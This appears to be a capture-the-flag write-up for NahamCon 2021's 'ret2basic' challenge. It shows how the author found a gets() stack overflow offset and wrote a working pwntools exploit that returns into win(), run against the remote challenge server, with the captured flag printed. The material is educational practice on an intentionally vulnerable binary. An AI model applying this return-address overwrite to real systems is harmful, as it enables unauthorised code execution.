Rating: 5.0

ret2win

Disassembly

The main function:

main(void) {
    vuln();
    puts("Nope :(");
    return 0;
}

So what is in the vuln function?

void vuln(void)
{
    char input[112];

    printf("Can you overflow this?: ");
    gets(input);
    return;
}

This feels obvious, we have to overflow the string input, so we can clobber the instruction pointer and get our own assembly in.</br> And what do we have to do? We have to return to the win() function, which in short reads from a flag.txt file. We can try and do this with pwntools!

Proof of Concept

First I tried calling:

python3 -c "print('A'*112)" | ./ret2basic 

But this doesn't overflow, so we can try upping it up. I'm doing this to find the offset where we get a segmentation fault.

python3 -c "print('A'*120)" | ./ret2basic 
Can you overflow this?: free(): invalid pointer
Aborted

python3 -c "print('A'*135)" | ./ret2basic 
Can you overflow this?: Segmentation fault

So 120 gives us an invalid free and at 135 a segfault. Is this really the offset though?

python3 -c "print('A'*125)" | ./ret2basic 
Can you overflow this?: Segmentation fault

And checking dmesg:

Code: Unable to access opcode bytes at RIP 0x4141414117.

0x41 is A. So this clearly clobbers the Instruction pointer! Now, can we get the RIP pointer to be 0?</br> </br> After some experimenting with gdb and dmesg, I got the following in gdb:

(gdb) 
Can you overflow this?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400041 in ?? ()
(gdb) info registers
rax            0x7fffffffdfc0      140737488347072
rbx            0x0                 0
rcx            0x7ffff7fa9980      140737353783680
rdx            0x0                 0
rsi            0x7ffff7fa9a03      140737353783811
rdi            0x7ffff7fac4d0      140737353794768
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffe040      0x7fffffffe040
r8             0x7fffffffdfc0      140737488347072
r9             0x0                 0
r10            0xfffffffffffff23f  -3521
r11            0x246               582
r12            0x401100            4198656
r13            0x7fffffffe120      140737488347424
r14            0x0                 0
r15            0x0                 0
rip            0x400041            0x400041     <----------

The Instruction pointer includes our 0x41. This was 121 characters, so 120 characters is probably our sweet spot.

Exploitation

Testing that our offset of 120 is correct:

#!/usr/bin/env python3

from pwn import *

offset = 120

elf = ELF('./ret2basic')
p = elf.process()

print(p.recvuntil(": "))

payload = [
    b'A'*offset,
    b'BB'
] 

payload = b''.join(payload)

p.sendline(payload)
p.interactive()

So I ran it and got a segfault, next dmesg output!

[ 6605.507489] ret2basic[3356]: segfault at 4242 ip 0000000000004242 sp 00007ffec4e5da80 error 14 in ret2basic[400000+1000]

segfault at 4242 is our two B's. Excellent! Now just to get the address of the flag function. Or win().

#!/usr/bin/env python3

from pwn import *

offset = 120

elf = ELF('./ret2basic')
p = elf.process()

print(p.recvuntil(": "))

payload = [
    b'A'*offset,
    p64(elf.symbols['win'])
] 

payload = b''.join(payload)

p.sendline(payload)
p.interactive()

Yes! This works locally, now just configure it to work on a remote connection:

#!/usr/bin/env python3

from pwn import *

offset = 120

elf = ELF('./ret2basic')
p = remote('challenge.nahamcon.com',30413)

print(p.recvuntil(": "))

payload = [
    b'A'*offset,
    p64(elf.symbols['win'])
] 

payload = b''.join(payload)

p.sendline(payload)
p.interactive()

And what do we get?

./exploit.py 
[*] '/root/CTFs/Nahamcon-2021/ret2win/ret2basic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to challenge.nahamcon.com on port 30413: Done
b'Can you overflow this?: '
[*] Switching to interactive mode
Here's your flag.
flag{d07f3219a8715e9339f31cfbe09d6502}

Awesome!

Original writeup (https://github.com/xnomas/Nahamcon-2021-Writeups/tree/main/ret2basic).